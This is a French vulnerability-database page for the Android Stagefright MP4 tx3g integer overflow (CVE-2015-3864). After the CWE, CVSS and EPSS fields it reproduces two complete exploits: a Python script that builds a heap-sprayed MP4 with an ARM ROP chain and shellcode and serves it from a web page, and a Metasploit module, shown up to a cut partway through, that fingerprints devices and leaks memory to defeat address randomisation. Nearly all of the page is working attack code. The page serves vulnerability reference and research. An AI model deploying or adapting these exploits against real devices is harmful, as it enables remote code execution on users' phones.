Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-189 |
Category : Numeric Errors Weaknesses in this category are related to improper calculation or conversion of numbers. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 38226
Date de publication : 2015-09-16 22h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes
#!/usr/bin/python2
import cherrypy
import os
import pwnlib.asm as asm
import pwnlib.elf as elf
import sys
import struct
with open('shellcode.bin', 'rb') as tmp:
shellcode = tmp.read()
while len(shellcode) % 4 != 0:
shellcode += '\x00'
# heap grooming configuration
alloc_size = 0x20
groom_count = 0x4
spray_size = 0x100000
spray_count = 0x10
# address of the buffer we allocate for our shellcode
mmap_address = 0x90000000
# addresses that we need to predict
libc_base = 0xb6ebd000
spray_address = 0xb3000000
# ROP gadget addresses
stack_pivot = None
pop_pc = None
pop_r0_r1_r2_r3_pc = None
pop_r4_r5_r6_r7_pc = None
ldr_lr_bx_lr = None
ldr_lr_bx_lr_stack_pad = 0
mmap64 = None
memcpy = None
def find_arm_gadget(e, gadget):
gadget_bytes = asm.asm(gadget, arch='arm')
gadget_address = None
for address in e.search(gadget_bytes):
if address % 4 == 0:
gadget_address = address
if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm')
break
return gadget_address
def find_thumb_gadget(e, gadget):
gadget_bytes = asm.asm(gadget, arch='thumb')
gadget_address = None
for address in e.search(gadget_bytes):
if address % 2 == 0:
gadget_address = address + 1
if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb')
break
return gadget_address
def find_gadget(e, gadget):
gadget_address = find_thumb_gadget(e, gadget)
if gadget_address is not None:
return gadget_address
return find_arm_gadget(e, gadget)
def find_rop_gadgets(path):
global memcpy
global mmap64
global stack_pivot
global pop_pc
global pop_r0_r1_r2_r3_pc
global pop_r4_r5_r6_r7_pc
global ldr_lr_bx_lr
global ldr_lr_bx_lr_stack_pad
e = elf.ELF(path)
e.address = libc_base
memcpy = e.symbols['memcpy']
print '[*] memcpy : 0x{:08x}'.format(memcpy)
mmap64 = e.symbols['mmap64']
print '[*] mmap64 : 0x{:08x}'.format(mmap64)
# .text:00013344 ADD R2, R0, #0x4C
# .text:00013348 LDMIA R2, {R4-LR}
# .text:0001334C TEQ SP, #0
# .text:00013350 TEQNE LR, #0
# .text:00013354 BEQ botch_0
# .text:00013358 MOV R0, R1
# .text:0001335C TEQ R0, #0
# .text:00013360 MOVEQ R0, #1
# .text:00013364 BX LR
pivot_asm = ''
pivot_asm += 'add r2, r0, #0x4c\n'
pivot_asm += 'ldmia r2, {r4 - lr}\n'
pivot_asm += 'teq sp, #0\n'
pivot_asm += 'teqne lr, #0'
stack_pivot = find_arm_gadget(e, pivot_asm)
print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot)
pop_pc_asm = 'pop {pc}'
pop_pc = find_gadget(e, pop_pc_asm)
print '[*] pop_pc : 0x{:08x}'.format(pop_pc)
pop_r0_r1_r2_r3_pc = find_gadget(e, 'pop {r0, r1, r2, r3, pc}')
print '[*] pop_r0_r1_r2_r3_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_pc)
pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}')
print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc)
ldr_lr_bx_lr_stack_pad = 0
for i in range(0, 0x100, 4):
ldr_lr_bx_lr_asm = 'ldr lr, [sp, #0x{:08x}]\n'.format(i)
ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8)
ldr_lr_bx_lr_asm += 'bx lr'
ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm)
if ldr_lr_bx_lr is not None:
ldr_lr_bx_lr_stack_pad = i
break
def pad(size):
return '#' * size
def pb32(val):
return struct.pack(">I", val)
def pb64(val):
return struct.pack(">Q", val)
def p32(val):
return struct.pack("<I", val)
def p64(val):
return struct.pack("<Q", val)
def chunk(tag, data, length=0):
if length == 0:
length = len(data) + 8
if length > 0xffffffff:
return pb32(1) + tag + pb64(length)+ data
return pb32(length) + tag + data
def alloc_avcc(size):
avcc = 'A' * size
return chunk('avcC', avcc)
def alloc_hvcc(size):
hvcc = 'H' * size
return chunk('hvcC', hvcc)
def sample_table(data):
stbl = ''
stbl += chunk('stco', '\x00' * 8)
stbl += chunk('stsc', '\x00' * 8)
stbl += chunk('stsz', '\x00' * 12)
stbl += chunk('stts', '\x00' * 8)
stbl += data
return chunk('stbl', stbl)
def memory_leak(size):
pssh = 'leak'
pssh += 'L' * 16
pssh += pb32(size)
pssh += 'L' * size
return chunk('pssh', pssh)
def heap_spray(size):
pssh = 'spry'
pssh += 'S' * 16
pssh += pb32(size)
page = ''
nop = asm.asm('nop', arch='thumb')
while len(page) < 0x100:
page += nop
page += shellcode
while len(page) < 0xed0:
page += '\xcc'
# MPEG4DataSource fake vtable
page += p32(stack_pivot)
# pivot swaps stack then returns to pop {pc}
page += p32(pop_r0_r1_r2_r3_pc)
# mmap64(mmap_address,
# 0x1000,
# PROT_READ | PROT_WRITE | PROT_EXECUTE,
# MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,
# -1,
# 0);
page += p32(mmap_address) # r0 = address
page += p32(0x1000) # r1 = size
page += p32(7) # r2 = protection
page += p32(0x32) # r3 = flags
page += p32(ldr_lr_bx_lr) # pc
page += pad(ldr_lr_bx_lr_stack_pad)
page += p32(pop_r4_r5_r6_r7_pc) # lr
page += pad(4)
page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(mmap64) # pc
page += p32(0xffffffff) # fd (and then r4)
page += pad(4) # padding (and then r5)
page += p64(0) # offset (and then r6, r7)
page += p32(pop_r0_r1_r2_r3_pc) # pc
# memcpy(shellcode_address,
# spray_address + len(rop_stack),
# len(shellcode));
page += p32(mmap_address) # r0 = dst
page += p32(spray_address - 0xed0) # r1 = src
page += p32(0xed0) # r2 = size
page += p32(0x33333333) # r3
page += p32(ldr_lr_bx_lr) # pc
page += pad(ldr_lr_bx_lr_stack_pad)
page += p32(pop_r4_r5_r6_r7_pc) # lr
page += pad(4)
page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(memcpy) # pc
page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(mmap_address + 1) # pc
while len(page) < 0x1000:
page += '#'
pssh += page * (size // 0x1000)
return chunk('pssh', pssh)
def exploit_mp4():
ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex"))
trak = ''
# heap spray so we have somewhere to land our corrupted vtable
# pointer
# yes, we wrap this in a sample_table for a reason; the
# NuCachedSource we will be using otherwise triggers calls to mmap,
# leaving our large allocations non-contiguous and making our chance
# of failure pretty high. wrapping in a sample_table means that we
# wrap the NuCachedSource with an MPEG4Source, making a single
# allocation that caches all the data, doubling our heap spray
# effectiveness :-)
trak += sample_table(heap_spray(spray_size) * spray_count)
# heap groom for our MPEG4DataSource corruption
# get the default size allocations for our MetaData::typed_data
# groom allocations out of the way first, by allocating small blocks
# instead.
trak += alloc_avcc(8)
trak += alloc_hvcc(8)
# we allocate the initial tx3g chunk here; we'll use the integer
# overflow so that the allocated buffer later is smaller than the
# original size of this chunk, then overflow all of the following
# MPEG4DataSource object and the following pssh allocation; hence why
# we will need the extra groom allocation (so we don't overwrite
# anything sensitive...)
# | tx3g | MPEG4DataSource | pssh |
overflow = 'A' * 24
# | tx3g ----------------> | pssh |
overflow += p32(spray_address) # MPEG4DataSource vtable ptr
overflow += '0' * 0x48
overflow += '0000' # r4
overflow += '0000' # r5
overflow += '0000' # r6
overflow += '0000' # r7
overflow += '0000' # r8
overflow += '0000' # r9
overflow += '0000' # r10
overflow += '0000' # r11
overflow += '0000' # r12
overflow += p32(spray_address + 0x20) # sp
overflow += p32(pop_pc) # lr
trak += chunk("tx3g", overflow)
# defragment the for alloc_size blocks, then make our two
# allocations. we end up with a spurious block in the middle, from
# the temporary ABuffer deallocation.
# | pssh | - | pssh |
trak += memory_leak(alloc_size) * groom_count
# | pssh | - | pssh | .... | avcC |
trak += alloc_avcc(alloc_size)
# | pssh | - | pssh | .... | avcC | hvcC |
trak += alloc_hvcc(alloc_size)
# | pssh | - | pssh | pssh | avcC | hvcC | pssh |
trak += memory_leak(alloc_size) * 8
# | pssh | - | pssh | pssh | avcC | .... |
trak += alloc_hvcc(alloc_size * 2)
# entering the stbl chunk triggers allocation of an MPEG4DataSource
# object
# | pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh |
stbl = ''
# | pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh |
stbl += alloc_avcc(alloc_size * 2)
# | pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh |
# | pssh | - | pssh | pssh | tx3g ----------------> |
overflow_length = (-(len(overflow) - 24) & 0xffffffffffffffff)
stbl += chunk("tx3g", '', length = overflow_length)
trak += chunk('stbl', stbl)
return ftyp + chunk('trak', trak)
index_page = '''
<!DOCTYPE html>
<html>
<head>
<title>Stagefrightened!</title>
</head>
<body>
<script>
window.setTimeout('location.reload(true);', 4000);
</script>
<iframe src='/exploit.mp4'></iframe>
</body>
</html>
'''
class ExploitServer(object):
exploit_file = None
exploit_count = 0
@cherrypy.expose
def index(self):
self.exploit_count += 1
print '*' * 80
print 'exploit attempt: ' + str(self.exploit_count)
print '*' * 80
return index_page
@cherrypy.expose(["exploit.mp4"])
def exploit(self):
cherrypy.response.headers['Content-Type'] = 'video/mp4'
cherrypy.response.headers['Content-Encoding'] = 'gzip'
if self.exploit_file is None:
exploit_uncompressed = exploit_mp4()
with open('exploit_uncompressed.mp4', 'wb') as tmp:
tmp.write(exploit_uncompressed)
os.system('gzip exploit_uncompressed.mp4')
with open('exploit_uncompressed.mp4.gz', 'rb') as tmp:
self.exploit_file = tmp.read()
os.system('rm exploit_uncompressed.mp4.gz')
return self.exploit_file
def main():
find_rop_gadgets('libc.so')
with open('exploit.mp4', 'wb') as tmp:
tmp.write(exploit_mp4())
cherrypy.quickstart(ExploitServer())
if __name__ == '__main__':
main()
Exploit Database EDB-ID : 40436
Date de publication : 2016-09-26 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "Android Stagefright MP4 tx3g Integer Overflow",
'Description' => %q{
This module exploits a integer overflow vulnerability in the Stagefright
Library (libstagefright.so). The vulnerability occurs when parsing specially
crafted MP4 files. While a wide variety of remote attack vectors exist, this
particular exploit is designed to work within an HTML5 compliant browser.
Exploitation is done by supplying a specially crafted MP4 file with two
tx3g atoms that, when their sizes are summed, cause an integer overflow when
processing the second atom. As a result, a temporary buffer is allocated
with insufficient size and a memcpy call leads to a heap overflow.
This version of the exploit uses a two-stage information leak based on
corrupting the MetaData that the browser reads from mediaserver. This method
is based on a technique published in NorthBit's Metaphor paper. First,
we use a variant of their technique to read the address of a heap buffer
located adjacent to a SampleIterator object as the video HTML element's
videoHeight. Next, we read the vtable pointer from an empty Vector within
the SampleIterator object using the video element's duration. This gives
us a code address that we can use to determine the base address of
libstagefright and construct a ROP chain dynamically.
NOTE: the mediaserver process on many Android devices (Nexus, for example) is
constrained by SELinux and thus cannot use the execve system call. To avoid
this problem, the original exploit uses a kernel exploit payload that disables
SELinux and spawns a shell as root. Work is underway to make the framework
more amenable to these types of situations. Until that work is complete, this
exploit will only yield a shell on devices without SELinux or with SELinux in
permissive mode.
},
'License' => MSF_LICENSE,
'Author' =>
[
# Exodus/jordan # initial discovery / disclosure
'jduck', # Metasploit module, further infoleak development
'NorthBit' # intiial information leak implementation
],
'References' =>
[
[ 'CVE', '2015-3864' ],
[ 'URL', 'https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/' ],
[ 'URL', 'http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ],
[ 'URL', 'https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf' ],
[ 'URL', 'https://github.com/NorthBit/Metaphor' ],
# Not used, but related
[ 'URL', 'http://drops.wooyun.org/papers/7558' ],
[ 'URL', 'http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html' ],
[ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/' ],
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true,
},
#'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/mettle/reverse_tcp' },
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE], # TODO: , ARCH_X86, ARCH_X86_64, ARCH_MIPSLE],
'Targets' =>
[
[ 'Automatic', {} ],
#
# Each target includes information about the device, firmware, and
# how exactly to about exploiting it.
#
# Primarily, these targets are used to map a browser's User-Agent to
# exploit specifics for that device / build.
#
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX21P',
'Release' => '5.0',
'Rop' => 'lrx',
'SprayAddress' => 0xb1508000
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX22C',
'Release' => '5.0.1',
'Rop' => 'lrx'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX22G',
'Release' => '5.0.2',
'Rop' => 'lrx'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47O',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47V',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY48G',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY48I',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)',
{
'Model' => 'Nexus 7',
'Build' => 'LRX22G',
'Release' => '5.0.2',
'Rop' => 'lrx'
}
],
[
'Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47O',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)',
{
'Model' => 'Nexus 7',
'Build' => 'LMY47V',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.0 (LRX21O)',
{
'Model' => 'Nexus 5',
'Build' => 'LRX21O',
'Release' => '5.0',
'Rop' => 'lrx'
}
],
[
'Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)',
{
'Model' => 'Nexus 5',
'Build' => 'LRX22C',
'Release' => '5.0.1',
'Rop' => 'lrx'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1 (LMY47D)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY47D',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1 (LMY47I)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY47I',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY48B',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)',
{
'Model' => 'Nexus 5',
'Build' => 'LMY48I',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Nexus 6 (shamu) with Android 5.0 (LRX21O)',
{
'Model' => 'Nexus 6',
'Build' => 'LRX21O',
'Release' => '5.0',
'Rop' => 'lrx'
}
],
[
'Nexus 6 (shamu) with Android 5.0.1 (LRX22C)',
{
'Model' => 'Nexus 6',
'Build' => 'LRX22C',
'Release' => '5.0.1',
'Rop' => 'lrx'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47D)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47D',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47E)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47E',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47I)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47I',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)',
{
'Model' => 'Nexus 6',
'Build' => 'LYZ28E',
'Release' => '5.1.1',
'Rop' => 'shamu / LYZ28E'
}
],
[
'Nexus 6 (shamu) with Android 5.1 (LMY47M)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47M',
'Release' => '5.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY47Z',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LVY48C)',
{
'Model' => 'Nexus 6',
'Build' => 'LVY48C',
'Release' => '5.1.1',
'Rop' => 'lmy-1'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LMY48I)',
{
'Model' => 'Nexus 6',
'Build' => 'LMY48I',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)',
{
'Model' => 'Nexus 6',
'Build' => 'LYZ28J',
'Release' => '5.1.1',
'Rop' => 'shamu / LYZ28J'
}
],
[
'Nexus 6 (shamu) with Android 5.1.1 (LVY48E)',
{
'Model' => 'Nexus 6',
'Build' => 'LVY48E',
'Release' => '5.1.1',
'Rop' => 'lmy-2'
}
],
[
'Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)',
{
'Model' => 'SM-G900V',
'Build' => 'LRX21T',
'Release' => '5.0',
'Rop' => 'sm-g900v / OE1',
'SprayAddress' => 0xaf008000,
'SampleIteratorSize' => 0xa8,
'VectorSize' => 0xec
}
]
],
'Privileged' => true,
'DisclosureDate' => "Aug 13 2015",
'DefaultTarget' => 0))
=begin
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
=end
end
def exploit
@peers = {}
super
end
def get_target(request)
agent = request.headers['User-Agent']
self.targets.each do |t|
next if t.name == 'Automatic'
regexp = Regexp.escape("Linux; Android #{t['Release']}; #{t['Model']} Build/#{t['Build']}")
return t if (agent =~ /#{regexp}/)
end
return nil
end
#
# Construct a page worth of data that we'll spray
#
# NOTE: The data within is target-specific
#
def build_spray(my_target, peer, spray_addr)
# Initialize the page to a reasonable state.
page = ''
page = rand_text(4096)
# Load target-based exploit-specific variables
details = get_details(my_target)
return nil if details.nil?
# Calculate the libstagefright.so base address
vector_rva = details['VectorRVA']
vector_ptr = peer[:vector_vtable_addr]
libsf_base = (vector_ptr & 0xfffff000) - (vector_rva & 0xfffff000)
# If we smash mDataSource, this ends up controlling the program counter!!
=begin
0xb65fd7c4 <parseChunk(long long*, int)+4596>: ldr r2, [r0, #0]
0xb65fd7c6 <parseChunk(long long*, int)+4598>: str r1, [sp, #0]
0xb65fd7c8 <parseChunk(long long*, int)+4600>: ldr r5, [r7, #0]
0xb65fd7ca <parseChunk(long long*, int)+4602>: str r5, [sp, #4]
0xb65fd7cc <parseChunk(long long*, int)+4604>: ldr r6, [r2, #28]
0xb65fd7ce <parseChunk(long long*, int)+4606>: ldrd r2, r3, [r10]
0xb65fd7d2 <parseChunk(long long*, int)+4610>: blx r6
0xb65fd7d4 <parseChunk(long long*, int)+4612>: ldrd r2, r3, [sp, #64] ; 0x40
=end
# Initialize our pivot values and adjust them to libstagefright's base.
# First, load r0 (pointer to our buffer) into some register..
mds_pivot1 = libsf_base + details['Pivot1']
# Next, load sp (and probably other stuff) from there
mds_pivot2 = libsf_base + details['Pivot2']
# Finally, skip over some stuff and kick of the ROP chain
mds_adjust = libsf_base + details['Adjust']
# The offset to the ROP change beginning
rop_start_off = 0x30
# Point sp to the remainder of the ROP chain
new_sp = spray_addr + rop_start_off
# Sometimes the spray isn't aligned perfectly, this fixes that situation...
unalign_off = 0x998
new_sp2 = new_sp + 0x1000 - unalign_off
# This pointer should point to the beginning of the shellcode payload
payload_ptr = spray_addr + 0xa0
# Put the stack back!
stack_fix = "\x0a\xd0\xa0\xe1" # mov sp, r10 ; restore original sp
# Depending on the pivot strategy in use, we have to set things up slightly
# differently...
#
# In each case, we use a two-stage pivot that reads the spray address from
# r0 (we smashed that, remember).
#
# The addroffs array is used to map values to the offsets where the pivots
# expect them to be.
#
case details['PivotStrategy']
when 'lrx'
addroffs = [
[ 0x0, new_sp ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ],
]
# Since we are only popping one item in pivot2, we reduce the rop_start_off
rop_start_off -= 4
# Adjust the payload pointer
payload_ptr -= 4
when 'lmy-1'
addroffs = [
[ 0x8, new_sp ],
[ 0xc, mds_adjust ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ]
]
when 'lmy-2'
ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18 # adjust for displacement
addroffs = [
[ 0x0, ptr_to_mds_pivot2 ],
[ 0x8, new_sp ],
[ 0xc, mds_adjust ],
[ 0x10, mds_pivot2 ],
[ 0x1c, mds_pivot1 ]
]
stack_fix = "\x09\xd0\xa0\xe1" # mov sp, r9 ; restore original sp
when 'lyz'
ptr_to_mds_pivot2 = spray_addr + 0x8
addroffs = [
[ 0x0, ptr_to_mds_pivot2 ],
[ 0x8, mds_pivot2 ],
[ 0x1c, mds_pivot1 ],
[ 0x24, new_sp ],
# lr is at 0x28!
[ 0x2c, mds_adjust ]
]
# We can't fix it becuse we don't know where the original stack is anymore :-/
stack_fix = ""
when 'sm-g900v'
addroffs = [
[ 0x4, mds_adjust ],
[ 0x10, new_sp ],
[ 0x1c, mds_pivot1 ],
[ 0x20, mds_pivot2 ]
]
else
print_error("ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!")
return nil
end
# We need our ROP to build the page... Create it.
rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] })
# Fix up the payload pointer in the ROP
idx = rop.index([ 0xc600613c ].pack('V'))
rop[idx, 4] = [ payload_ptr ].pack('V')
# Insert the ROP
page[rop_start_off, rop.length] = rop
# Insert the special values...
addroffs.each do |ao|
off,addr = ao
page[off,4] = [ addr ].pack('V')
# Sometimes the spray isn't aligned perfectly...
if addr == new_sp
page[off+unalign_off,4] = [ new_sp2 ].pack('V')
else
page[off+unalign_off,4] = [ addr ].pack('V')
end
end
page
end
#
# MPEG-4 specific functionality
#
def get_atom(tag, data='', length=nil)
if tag.length != 4
raise 'Yo! They call it "FourCC" for a reason.'
end
length ||= data.length + 8
if length >= 2**32
return [ [ 1 ].pack('N'), tag, [ length ].pack('Q>'), data ].join
end
[ [ length ].pack('N'), tag, data ].join
end
def get_stsc(num)
stsc_data = [ 0, num ].pack('N*') # version/flags, mNumSampleToChunkOffsets
stsc_data << [ 13+1, 0x5a5a5a5a, 37 ].pack('N*') * num
get_atom('stsc', stsc_data)
end
def get_ftyp
# Build the MP4 header...
ftyp = 'mp42'
ftyp << [ 0 ].pack('N')
ftyp << 'mp42'
ftyp << 'isom'
get_atom('ftyp', ftyp)
end
def get_pssh(alloc_size)
pssh_data = ''
pssh_data << [ 0 ].pack('N')
pssh_data << [ 0, 0, 0, 0 ].pack('N*')
pssh_data << [ alloc_size ].pack('N')
alloc_size.times do |off|
pssh_data << [ 0x55aa0000 + off ] .pack('V')
end
get_atom('pssh', pssh_data)
end
def get_metaitem(tag, type, data)
ret = ''
ret << tag.reverse
ret << type.reverse
case type
when 'in32'
ret << [ 4, data ].pack('V*')
when 'in64'
ret << [ 8, data ].pack('V*')
else
raise "How do you expect me to make a #{type.inspect} ??"
end
ret
end
def jemalloc_round(sz)
# These are in the 16-byte aligned runs
if (sz > 0x10 && sz <= 0x80)
round = 16
# 160 starts the 32-byte aligned runs
elsif (sz > 0x80 && sz <= 0x140)
round = 32
else
raise "Don't know how to round 0x%x" % sz
end
ret = (sz + (round - 1)) / round
ret *= round
return ret
end
#
# Leak data from mediaserver back to the browser!
#
# Stage 1 - leak a heap pointer near a SampleIterator object
# Stage 2 - read a code pointer from the SampleIterator object
#
def get_mp4_leak(my_target, peer)
# MPEG4 Fileformat Reference:
# http://qtra.apple.com/index.html
#
# Structure:
# [File type Chunk][Other Atom Chunks]
#
# Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]
#
sampiter_alloc_size = 0x78
sampiter_alloc_size = my_target['SampleIteratorSize'] if not my_target['SampleIteratorSize'].nil?
sampiter_rounded = jemalloc_round(sampiter_alloc_size)
vector_alloc_size = 0x8c
vector_alloc_size = my_target['VectorSize'] if not my_target['VectorSize'].nil?
groom_count = 0x10
is_samsung = (my_target['Rop'] == 'sm-g900v / OE1')
# Coerce the heap into a favorable shape (fill holes)
shape_vector = get_pssh(vector_alloc_size)
# Allocate a block of memory of the correct size
placeholder = get_atom('titl', ('t' * 4) + ('titl' * (vector_alloc_size / 4)) + [ 0 ].pack('C'))
# Make the first tx3g chunk, which is meant to overflow into a MetaData array.
# We account for the overhead of both chunks here and aim for this layout:
#
# placeholder after re-allocation | vector array data
# <len><tag><padding><is-64bit><tag><len hi><len low> | <overflow data>
#
# Realistically, tx3g1_padding can be any number that rounds up to the
# correct size class.
tx3g1_overhead = 0x8
tx3g2_overhead = 0x10
tx3g_target = jemalloc_round(vector_alloc_size)
tx3g1_padding = tx3g_target - (tx3g1_overhead + tx3g2_overhead)
tx3g_data = 'x' * tx3g1_padding
tx3g_1 = get_atom('tx3g', tx3g_data)
# NOTE: hvcC added in 3b5a6b9fa6c6825a1d0b441429e2bb365b259827 (5.0.0 and later only)
# avcC was in the initial commit.
near_sampiter = get_atom('hvcC', "C" * sampiter_alloc_size)
# Craft the data that will overwrite the header and part of the MetaData
# array...
more_data = ''
more_data << [ 9, vector_alloc_size - 0x10, 0, 0 ].pack('V*')
# Now add the thing(s) we want to control (partially)
#
# We add some BS entries just to kill the real 'heig' and get proper
# ordering...
near_sampiter_addr = peer[:near_sampiter_addr]
if near_sampiter_addr.nil?
# Part 1. Leak the address of a chunk that should be adjacent to a
# SampleIterator object.
if is_samsung
# On Samsung:
# Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt
# After: dmcE, abc1, abc2, abc3, heig...
more_data << get_metaitem('dmcE', 'in32', 1)
more_data << get_metaitem('abc1', 'in32', 31335)
more_data << get_metaitem('abc2', 'in32', 31336)
end
# On Nexus:
# Before: heig, hvcc, inpS, mime, text, widt
# After: abc3, heig...
more_data << get_metaitem('abc3', 'in32', 31337)
# NOTE: We only use the first 12 bytes so that we don't overwrite the
# pointer that is already there!
heig = get_metaitem('heig', 'in32', 31338)
more_data << heig[0,12]
else
# Part 2. Read from the specified address, as with the original Metaphor
# exploit.
if is_samsung
# On Samsung:
# Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt
# After: dmcE, dura, ...
more_data << get_metaitem('dmcE', 'in32', 1)
else
# On Nexus:
# Before: avcc, heig, inpS, mime, text, widt
# After: dura, ...
near_sampiter = get_atom('avcC', "C" * sampiter_alloc_size)
end
# Try to read the mCurrentChunkSampleSizes vtable ptr within a
# SampleIterator object. This only works because the Vector is empty thus
# passing the restrictions imposed by the duration conversion.
ptr_to_vector_vtable = near_sampiter_addr - (sampiter_rounded * 2) + 0x30
more_data << get_metaitem('dura', 'in64', ptr_to_vector_vtable)
end
# The tx3g2 then needs to trigger the integer overflow, but can contain any
# contents. The overflow will terminate at the end of the file.
#
# NOTE: The second tx3g chunk's overhead ends up in the slack space between
# the replaced placeholder and the MetaData Vector contents.
